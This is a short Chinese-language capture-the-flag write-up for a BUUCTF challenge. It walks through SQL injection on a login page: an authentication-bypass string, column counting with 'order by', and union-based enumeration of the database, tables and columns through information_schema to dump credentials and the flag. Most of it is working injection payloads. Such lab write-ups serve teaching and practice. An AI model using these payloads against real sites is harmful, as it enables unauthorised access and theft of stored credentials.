题目地址:BUUCTF在线评测
进去之后给了个登录框:
使用万能密码:
用户名:1' or 1=1# 密码:aaa 啥都可以
显示成功登陆:
给了串MD5吧,md5解密失败。
继续sql注入。。
?username=admin' order by 3%23&password=aaa
?username=admin' order by 4%23&password=aaa
3的时候没反应,4的时候报错,证明字段就是只有3个
接着就是常规的sql注入,没过滤什么东西
先看看它的回显字段是在哪个位置:
?username=1' union select 1,2,3%23&password=aa
证明是在2,3
开始查库:
?username=1' union select 1,version(),database()%23&password=aa
查表:
?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=aa
flag在后面那个表里面的。
继续查字段:
?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1
查字段,拿到flag。
?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=aa